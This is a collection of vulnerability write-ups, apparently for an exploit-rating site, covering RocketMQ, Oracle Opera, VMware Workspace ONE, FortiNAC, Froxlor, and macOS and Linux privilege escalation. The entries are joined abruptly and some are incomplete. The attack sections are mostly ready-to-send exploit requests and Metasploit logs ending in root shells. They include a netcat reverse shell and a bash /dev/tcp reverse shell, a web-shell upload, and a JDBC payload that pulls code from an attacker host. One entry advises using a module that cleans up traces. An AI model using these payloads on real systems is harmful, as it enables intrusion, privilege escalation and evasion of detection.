The patch diff tells a clear story, the FilterServerManager & FilterServerUtil classes were completely removed from the application. Analyzing the code removed we see a potential RCE entry point Runtime.getRuntime().exec(cmdArray), inside FilterServerUtil.callShell():

public class FilterServerUtil {
    public static void callShell(final String shellString, final InternalLogger log) {
        Process process = null;
        try {
            String[] cmdArray = splitShellString(shellString);
            process = Runtime.getRuntime().exec(cmdArray);
            process.waitFor();
            log.info("CallShell: <{}> OK", shellString);
        } catch (Throwable e) {
            log.error("CallShell: readLine IOException, {}", shellString, e);
        } finally {
            if (null != process)
                process.destroy();
        }
    }

    private static String[] splitShellString(final String shellString) {
        return shellString.split(" ");
    }
}

Working backwards from there we can see callShell is called from: FilterServerManager.createFilterServer():

    public void createFilterServer() {
        int more =
            this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
        String cmd = this.buildStartCommand();
        for (int i = 0; i < more; i++) {
            FilterServerUtil.callShell(cmd, log);
        }
    }

The createFilterServer() method will be called every 30 seconds according to the inside of the FilterServerManager.start()

    public void start() {

        this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
            @Override
            public void run() {
                try {
                    FilterServerManager.this.createFilterServer();
                } catch (Exception e) {
                    log.error("", e);
                }
            }
        }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
    }

The command that gets executed by Runtime.getRuntime().exec is created by the following method FilterServerManager.buildStartCommand(). We see from the last else block if the system we’re exploit is not Windows, the command run will be sh %s ... where %s get substituted for getRocketmqHome() which is an user controlled parameter when the user sends a request to update the broker configuration.

    private String buildStartCommand() {
        String config = "";
        if (BrokerStartup.configFile != null) {
            config = String.format("-c %s", BrokerStartup.configFile);
        }

        if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
            config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
        }

        if (RemotingUtil.isWindowsPlatform()) {
            return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        } else {
            return String.format("sh %s/bin/startfsrv.sh %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        }
    }

Below is the request that can be sent to the Broker component of ApacheMQ to update the broker configuration or to obtain remote code execution. (note the payload inside of the rocketmqHome parameter also the binary header required to exploit is not included in the payload below)

`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=-c $@|sh . echo <Unix payload of your choice :)>`

There is one more aspect of the vulnerability that should be noted, above in callShell you’ll notice the following two lines:

            String[] cmdArray = splitShellString(shellString);
            process = Runtime.getRuntime().exec(cmdArray);

FilterServerUtil.splitShellString(final String shellString) is defined as the following:

    private static String[] splitShellString(final String shellString) {
        return shellString.split(" ");
    }

This means if the incoming command includes a space it will be split into an array and the first element of the array will be the command (ex: sh) and the rest of the elements of the array will be the arguments to that command. Getting a long string of multiple commands which all contain spaces to execute, is an exercise in ShellFu:

-c $@|sh . echo <PAYLOAD CONTAINING SPACES>

The argument $@ represents all the parameters passed to the script or command and directly passes the value after echo to $@ as a whole which solves the issue introduced by shellString.split

Metasploit Exploitation

Below is an example of a vulnerable RocketMQ instance being targeted by the apache_rocketmq_update_config metasploit module in order to establish a Meterpreter session in the context of the rocketmq user.

msf6 > use multi/http/apache_rocketmq_update_config
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158
lhost => 172.16.199.158
msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158
FETCH_SRVHOST => 172.16.199.158
msf6 exploit(multi/http/apache_rocketmq_update_config) > run

[*] Started reverse TCP handler on 172.16.199.158:4444
[*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4
[*] 127.0.0.1:9876 - autodetection failed, assuming default port of 10911
[*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911
[+] 127.0.0.1:9876 - Payload length: 252, (must not exceed 255 characters)
[*] Sending stage (3045348 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.17.0.3:37576) at 2023-06-27 14:49:18 -0700

meterpreter > getuid
Server username: rocketmq
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : CentOS 7.9.2009 (Linux 5.15.0-75-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

AKB Rating Explanation

The Broker component by default listens on the extranet on port 10911. This vulnerable endpoint shouldn’t be exposed to the internet by default and is why I decided to go with a lower attacker value. However, if an attacker is already in the network this vuln is easily exploitable and provides an excellent pivot point.

References

https://blogs.juniper.net/en-us/threat-research/cve-2023-33246-apache-rocketmq-remote-code-execution-vulnerability
https://blog.csdn.net/qq_41904294/article/details/130987233

Reasoning Behind Exploitability and Attacker Value

This is an unauthenticated remote code execution vulnerability – I’m not exactly sure why NVD gave this a 7.2: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L, but it seems like an incorrect assessment. The vectors that confuse me in NVD’s assessment are:

• Attack Complexity (AC): High
  
• Privileges Required (PR): High
  

It seems to me these should be Low and None respectively as privileges are not required to obtain RCE and the attack is not complex. There is a point and shoot unauthenticated RCE PoC publicly available online. If I had to guess why NVD gave it such a low score (if it wasn’t a mistake) would be that in order to exploit you need to know the static keys Oracle Opera uses to encrypt strings. However the researchers at AssetNote published the encryption routine with the static keys used by the application in their PoC.

Oracle Opera is a heavily used application and in my opinion this vulnerability should be considered critical.

Vulnerability Details

This is an order of operations bug in Oracle Opera, a widely used hotel and property management software. The vulnerability stems from an unfortunate developer oversight in the FileReceiver endpoint which accepts the parameters and is accessible without authentication:

String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename"));
String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc"));
String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append"));
String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname")));
String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));

The above two parameters jndiname and username are both encrypted user controlled input. As you may notice the two parameters are sanitized BEFORE they are decrypted, rendering the sanitization useless. The attacker can then send any payload they wish via those two parameters without them being sanitized.

Following the code path of the FileReceiver endpoint the application checks to see if the path is allowed via the following function (where schemaName is the username parameter accepted from the FileReceiver endpoint):

  public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) {
    boolean ret = false;
    try {
      if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) {
        String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
        String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase();
        if (adjustedFileName.startsWith(adjustedSourcePath)) {
          ret = true;
        } else {
          throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]");
        } 
      } else {
        throw new Exception("Either path, schema or filename is null");
      } 
    } catch (Exception e) {
      e.printStackTrace();
    } 
    return ret;
  }

With the line of interest being:

 String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();

If schemaName = "foo/../../../../../" then adjustedSourcePath will be equal to "D:\" and the attacker will have the ability to an write arbitrary file to the D:\ directory (which is where the Oracle Opera application needs to be installed as per Oracle documentation).

Now the above explains how to write arbitrary files to the system but not how to obtain unauthenticated RCE. There’s still two main blockers:

1. Knowing the JNDI name needed for exploitation.
   
2. Knowing how to encrypt the jndiname and username in order for the application (FileReceiver endpoint) to be able to decrypt them successfully.
   

Luckily for the attacker both of the above issues can easily be resolved.
The JNDI connection name can be found by visiting the following unauthenticated URLs:

https://example.com/Operajserv/OXIServlets/CRSStatus?info=true
https://example.com/Operajserv/OXIServlets/BEInterface?info=true
https://example.com/Operajserv/OXIServlets/ExportReceiver?info=true

As for the knowing of the encrypted parameters sent to FileReceiver, Oracle Opera uses static keys to encrypt strings. The researchers at Assetnote were able to recreate their encryption routine and used it in order to encrypt the necessary parts (username, jndiname) of the payload.

The POST request below uses the arbitrary file upload to drop a CGI web shell onto the local file system that can be accessed remotely to execute commands in the context of the user running the Oracle Opera instance. Perl comes installed with Opera and will be available on the target system making Perl the default choice for a web shell in this scenario.

POST /Operajserv/webarchive/FileReceiver?filename=D:\MICROS\opera\operaias\cgi-bin\80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON&copytoexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1
Host: example.com
User-Agent: curl/7.79.1
Accept: */*
Content-Length: 588
Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dc
Connection: close

<place perl webshell here>

References

https://blog.assetnote.io/2023/04/30/rce-oracle-opera/
https://nvd.nist.gov/vuln/detail/CVE-2023-21932

This is an authenticated remote code execution vulnerability which gives access in the context of the horizon user however authentication can easily be by-passed with CVE-2022-22956. The list of affected products and corresponding versions are:

Reason for Exploitability & Attacker Value rating.

As mentioned in my write up for CVE-2022-22956 this vulnerability was bundled up VMSA-2022-0011 along with 8 other CVEs. Out of all the CVEs in this advisory CVE-2022-22954 really stole the show as it was an unauth RCE. Not as many paid much mind to this CVE + CVE-2022-22956 (authentication by-pass) which when combined together with CVE-2022-22960 (LPE) gives attackers yet another exploitation path to unauthenticated RCE as root.

How it works

This vulnerability abuses the dbCheck method inside the com.vmware.horizon.rest.controller.system.DBConnectionCheckController class. The method accepts an attacker controlled parameter jdbcUrl which gets passed through a string of method calls until it eventually reaches  a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection.

Remote code execution can be achieved through the socketFactory property of the PostgreSQL JDBC driver. An attacker can set the socketFactory and socketFactoryArg properties in order to trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Due to the fact VMware Workspace One uses Spring with a PostgreSQL database FileSystemXmlApplicationContext can be used.

The attacker sends a POST request to the following URI: /SAAS/API/1.0/REST/system/dbCheck with the following data:
jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{attacker-ip-address}:#{attacker-port-hosting-malicious-file}/#{filename}

While hosting the following file:

<beans xmlns="[http://www.springframework.org/schema/beans](http://www.springframework.org/schema/beans)" xmlns:xsi="[http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance)" xsi:schemaLocation="[http://www.springframework.org/schema/beans](http://www.springframework.org/schema/beans) [http://www.springframework.org/schema/beans/spring-beans.xsd](http://www.springframework.org/schema/beans/spring-beans.xsd)">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>touch</value>
        <value>/tmp/rce</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

The above file will be downloaded by the victim and the command in side the constructor-arg will be executed in the context of the horizon user.

References:

https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution

This vulnerability is an authentication bypass in VMware Workspace ONE and related products. The list of affected products and corresponding versions are:

Reasoning for Exploitability & Attacker Value ratings:

This vulnerability was bundled in VMSA-2022-0011 along with 8 other CVEs. Out of all the CVEs in this advisory CVE-2022-22954 really stole the show as it was an unauthenticated remote code execution vulnerability. Not as many paid much mind to this CVE + CVE-2022-22957 (authenticated RCE) which when combined together with CVE-2022-22960 (LPE) gives attackers yet another exploitation path to unauthenticated remote code execution in the context of the root user.

How it works:

The vulnerability lies in the fact that vulnerable VMware Workspace ONE Access versions shipped with two different default OAuth2 clients. By navigating to https://photon-machine/SAAS/admin/settings/manage/manageOAuthClients/ on a vulnerable instance under Remote App Access users can see two separate Client IDs which are enabled by default to receive User Access Tokens in the scope of “system, admin”:

The auth by-pass works by abusing com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController which has two exposed endpoints: /generateActivationToken/{id} and /activate . The first will generate an activation code for an existing oauth2 client (which we know two exist by default) and the second will activate the device oauth2 client by exchanging the activation code for a client ID and secret.

Then the attacker can exchange the client_id and client_secret for an OAuth2 token and viola, the attacker has completely by-passed VMware’s authentication mechanism.

References:

https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution

This vulnerability is an arbitrary file write in the configurationWizard/keyUpload.jsp endpoint. The arbitrary file write results in unauthenticated remote code execution in the context of the root user.

A FortiNAC device provides protection against IoT threats, extends control to third-party devices, and orchestrates automatic responses to a wide range of networking events.. Despite these devices not having much of an internet facing footprint, if an attacker already inside your network gains root access to this device it will provide a great starting point to corrode the integrity of the rest of your network. Exploitation is trivial.

IOCs

The original PoC as well as the metasploit module both use the arbitrary file write to drop a cron job (inside /etc/cron.d/) that initiates a reverse shell as the root user.

A target compromised by the original PoC would have a log line in /var/log/cron similar to:

Mar  8 11:40:01 localhost CROND[17120]: (root) CMD (bash -i >& /dev/tcp/192.168.123.1/4444 0>&1)

Whereas a target compromised by the metasploit module, will leave slightly different log lines in /var/log/cron depending on the Meterpreter session returned.

Python Meterpreter:

Mar  8 15:44:01 localhost CROND[11377]: (root) CMD (python /tmp/gSYDIjeD 0>&1)
Mar  8 15:44:03 localhost CROND[8878]: (root) CMDOUT (Traceback (most recent call last):)
Mar  8 15:44:03 localhost CROND[8878]: (root) CMDOUT (  File "/tmp/gSYDIjeD", line 1, in <module>)
Mar  8 15:44:03 localhost CROND[8878]: (root) CMDOUT (    exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrdkMIamxrIuVhDxICKCuzeRpU1HLU3TkmS1Kv53N3TxMsN78+bNRzdMo480jKbHKL5t14imDlhqEaLfmyhiNyB5HT2daeeor90bcpXDmmTRfx1iFqqlWS6JF+KIN48397vN9un2+gGSTprROTSRc6YuCqnKlVTFmVRMaK1zSJrGY92TDGeDU0zmaboMFnHi50BstSwl926qTc/Z1R0TQXo0H1wDPOcvpK2O2AL5fO8sUouOt3BpD3btyX/1dKGB4IyGp7tli2YcJo8h8OUFsil1IltMSvHDAluHXyB/G3tfLA==')[0]))))
Mar  8 15:44:03 localhost CROND[8878]: (root) CMDOUT (  File "<string>", line 9, in <module>)

Linux Meterpreter:

Mar  8 15:46:01 localhost CROND[11595]: (root) CMD (chmod +x /tmp/vprwoPAh && /tmp/vprwoPAh 0>&1)

Of course, logs and the cron job files themselves can be cleaned up once root access is gained. In addition, there are also different ways to achieve RCE from an arbitrary file write. During testing I was able to drop a .jsp payload in the application webroot, although once triggered it returned a shell in the context of the user running the application and not the root user. Just be aware there could be IOCs outside /var/log/cron

Attacker Value and Exploitability

Froxlor is a an open source web hosting control panel, with around 20,000 live instances listening on the internet at the time of writing. In versions <= 2.0.6 there exists an authenticated RCE vulnerability. Exploitation is trivia given credentials to the Froxlor application, as PoC details and a metasploit module are readily available, giving this vulnerability a moderate Attacker Value & Exploitability rating.

Vulnerability Details

Exploiting this vuln requires a few simple steps:

• As an authenticated user, change the logfile path to: /var/www/html/froxlor/templates/Froxlor/footer.html.twig this can be done by sending the following POST request to the server:
  

POST /froxlor/admin_settings.php?page=overview&part=logging HTTP/1.1
Host: 172.16.199.140
Content-Length: 1125
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.199.140
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt8L3nWBWoG1AKOVm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.199.140/froxlor/admin_settings.php?page=overview&part=logging
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=admjpmobmubbadpq6lpun95b8q
Connection: close

------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_enabled"

0
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_enabled"

1
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_severity"

2
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_logtypes[]"

file
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_logfile"

/var/www/html/froxlor/logs/froxlor.log
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_log_cron"

0
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="csrf_token"

cce9438c7954b65c86960649e5b95e8fc1157c61
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="page"

overview
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="action"


------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="send"

send
------WebKitFormBoundaryt8L3nWBWoG1AKOVm--

(Twig is a template engine for the PHP programming language. The file mentioned above, /footer.html.twig is the footer for the homepage of the Froxlor application and lucky for the attacker, it gets executed every time the homepage is refreshed.)

• Next inject a payload into the new logfile with the following format: {{['COMMAND']|filter('exec')}}1 this will ensure the command will be executed when the .twig file is loaded. This can be achieved by changing the ‘theme’ of the froxlor application as an authenticated user with the following post request:
  

POST /froxlor/admin_index.php HTTP/1.1
Host: 172.16.199.140
Content-Length: 101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.199.140
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.199.140/froxlor/admin_index.php?page=change_theme
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=8nvcp4180gkp3n68ekgtgubvpt
Connection: close

theme=%7b%7b%5b%27%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%37%32%2e%31%36%2e%31%39%39%2e%31%20%20%34%34%34%34%20%3e%2f%74%6d%70%2f%66%27%5d%7c%66%69%6c%74%65%72%28%27%65%78%65%63%27%29%7d%7d&csrf_token=caeb932a7ea81b18d82116300b79be5d8a008a10&page=change_theme&send=send&dosave=

In the above request, theme has been URL encoded and set to: {{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.199.1 4444 >/tmp/f']|filter('exec')}}

• Now, with a listener setup, all the attacker has to do send the following GET request to trigger the payload (or reload the froxlor application in their browser) and they will have a shell running in the context of the application (which if running on Ubuntu in a default configuation would be user www-data):
  

GET /froxlor/admin_index.php? HTTP/1.1
Host: 172.16.199.140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.199.140/froxlor/admin_index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=8nvcp4180gkp3n68ekgtgubvpt
Connection: close

IOCs

As soon as the logfile path is changed to /footer.html.twig or any other .twig file the attacker chooses to target, the froxlor application begins writing log lines to that file. In the case of /footer.html.twig users will start to see log lines appearing in the at the bottom (or in the footer element) of the application like so:

Once the attacker has injected their payload, the application will hang, as the payload is executed and the application runs off to connect to the attacker. Now, these IOCs can be covered up if the attacker changes the log file path back to it’s original setting and then erases the payload and additional log lines from footer.html.twig. The metasploit module covers up these IOCs, so if you plan on exploiting this vuln, be sure to make use of it.

Metasploit Module Demonstration:

msf6 > use exploit/linux/http/froxlor_log_path_rce
[*] Using exploit/linux/http/froxlor_log_path_rce
msf6 exploit(linux/http/froxlor_log_path_rce) > set rhosts 172.16.199.140
rhosts => 172.16.199.140
msf6 exploit(linux/http/froxlor_log_path_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/froxlor_log_path_rce) > set lport 9191
lport => 9191
msf6 exploit(linux/http/froxlor_log_path_rce) > set username admin
username => admin
msf6 exploit(linux/http/froxlor_log_path_rce) > set password notpassword
password => notpassword
msf6 exploit(linux/http/froxlor_log_path_rce) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:9191
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Successful login
[+] The target appears to be vulnerable. Vulnerable version found: 2.0.3
[+] Successfully Logged in!
[+] CSRF token is : 5701b7e6335ab13e20e91845b210b6be0bea7621
[+] Changed logfile path to: /var/www/html/froxlor/templates/Froxlor/footer.html.twig
[*] Using URL: http://172.16.199.1:8080/ygs3pAWMRNIs
[+] Injected payload sucessfully
[*] Changing logfile path back to default value while triggering payload: /var/www/html/froxlor/logs/froxlor.log
[*] Client 172.16.199.140 (Wget/1.20.3 (linux-gnu)) requested /ygs3pAWMRNIs
[*] Sending payload to 172.16.199.140 (Wget/1.20.3 (linux-gnu))
[*] Sending stage (3045348 bytes) to 172.16.199.140
[*] Cleaning up...
[*] Deleting tampered footer.html.twig file
[*] Rewriting clean footer.html.twig file
[*] Meterpreter session 3 opened (172.16.199.1:9191 -> 172.16.199.140:50398) at 2023-02-13 18:20:02 -0500
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.16.199.140
OS           : Ubuntu 20.04 (Linux 5.15.0-58-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Description

This vulnerability is the macOS equivalent of the Dirty Cow vulnerability and allows for an unprivileged user to execute code as root. The vulnerability on linux is described as: “A race condition was found in the way the kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.”

Attacker Value & Exploitation

This issue was fixed in:

• tvOS 16.2
  
• macOS Monterey 12.6.2
  
• macOS Ventura 13.1
  
• macOS Big Sur 11.7.2
  
• iOS 15.7.2
  
• iPadOS 15.7.2
  
• iOS 16.2
  
• iPadOS 16.2
  
• watchOS 9.2.
  

Numerous recent versions of Apple products affected makes this quite valuable for attackers. It’s not everyday we see such a reliable LPE in current versions of macOS. The vuln requires user authentication to exploit and would pair nicely with a successful phishing attempt to compromise an entire macOS environment. A metasploit module has been released for this vuln making exploitation trivial, be sure to patch!

msf6 exploit(osx/local/mac_dirty_cow) > run
[*] Started reverse TCP handler on 172.16.199.1:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.wNDx86' (17204 bytes) ...
[*] Writing '/tmp/.TKIGnTw0l' (51392 bytes) ...
[*] Executing exploit '/tmp/.TKIGnTw0l /etc/pam.d/su /tmp/.DfoZanro'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[*] Running cmd:
echo '/tmp/.wNDx86 & disown' | su
[*] Executing exploit (restoring) '/tmp/.TKIGnTw0l /etc/pam.d/su /tmp/.aclP0u'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[+] Deleted /tmp/.wNDx86
[+] Deleted /tmp/.aclP0u
[+] Deleted /tmp/.DfoZanro
[+] Deleted /tmp/.TKIGnTw0l
[*] Command shell session 2 opened (172.16.199.1:4446 -> 172.16.199.130:49802) at 2023-02-01 16:10:54 -0500
options
/bin/sh: line 29: options: command not found
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)
uname -a
Darwin msfusers-Mac.local 22.0.0 Darwin Kernel Version 22.0.0: Tue May 24 20:31:35 PDT 2022; root:xnu-8792.0.50.111.3~5/RELEASE_X86_64 x86_64

Description

This vulnerability exists in linux kernel’s io_uring implementation. This vuln allows an attacker with a local account to corrupt system memory, crash the system or escalate privileges in order to spawn a root shell.

Attacker Value & Exploitation

Github user, @jvoisin explained, user @minipli-oss, wrote a neat exploit for CVE-2022-1043, and it has the following advantages over your everyday Linux LPE:

• No hardcoded offsets
  
• No ROP
  
• Architecture-agnostic-ish
  
• Bypasses all existing mitigations, even out-of-kernel-ones like grsecurity (for version older than the exploit of course, since this class of vulnerabilities is now mitigated there) and LKRG.
  

The only drawback is that it only works on v5.12-rc3 to v5.14-rc7 a fairly small subset of the linux kernel.

If the system is vulnerable, exploitation is trivial. The neat, aforementioned exploit has been integrated into the Metasploit making getting a root shell a piece of cake:

msf6 auxiliary(scanner/ssh/ssh_login) > run rhosts=172.16.199.132 username=msfuser password=notpassword

[*] 172.16.199.132:22 - Starting bruteforce
[+] 172.16.199.132:22 - Success: 'msfuser:notpassword' 'uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux msfuser-virtual-machine 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (172.16.199.1:60829 -> 172.16.199.132:22) at 2023-02-01 10:59:16 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > use linux/local/cve_2022_1043_io_uring_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set lport 4447
lport => 4447
msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture:
[*] Started reverse TCP handler on 172.16.199.1:4447
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. > 1 CPU required, detected: 2
[*] Writing '/tmp/.5Z1IxJt0' (282 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045348 bytes) to 172.16.199.132
[+] Deleted /tmp/.5Z1IxJt0
[+] Deleted /tmp/.qfp5AH76BB
[*] Meterpreter session 2 opened (172.16.199.1:4447 -> 172.16.199.132:49236) at 2023-02-01 10:59:51 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.132
OS           : Ubuntu 22.04 (Linux 5.13.12-051312-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Defensive Suggestions

Not much to say here other don’t run a vulnerable kernel version, patch!

Description

This vulnerability exploits linux priv esc against VMWare virtual machines with kernel 4.14-rc1 – 5.17-rc1 due to a VMWare driver bug. Specifically, a use-after-free flaw was found in the Linux kernel’s vmw_execbuf_copy_fence_user function in drivers/gpu/drm/vmwgfx/vmwgfx_execbuf.c in vmwgfx which allows an authenticated user to escalate privileges and spawn a root shell.

Attacker Value & Exploitability

Linux kernel 4.14 was released 12 November 2017 while 5.17 was released 20 March 2022. Although this vulnerability only affects VMware virtual machines I would expect the attack surface to be rather large given the wide range of kernels affected – about 4.5 years of linux kernel releases.

Exploitability requires user level privileges however once those are obtained exploitation is trivial given the metasploit module written to exploit this vulnerability. Simply get a user session and run the exploit as seen demonstrated below:

msf6 auxiliary(scanner/ssh/ssh_login) > run rhosts=172.16.199.132 rport=4444 username=msfuser password=notpassword

[*] 172.16.199.132:22 - Starting bruteforce
[+] 172.16.199.132:22 - Success: 'msfuser:notpassword' 'uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux msfuser-virtual-machine 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 8 opened (172.16.199.1:55151 -> 172.16.199.132:22) at 2023-01-20 09:34:18 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > run session=8 rhosts=172.16.199.132 rport=4445

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture:
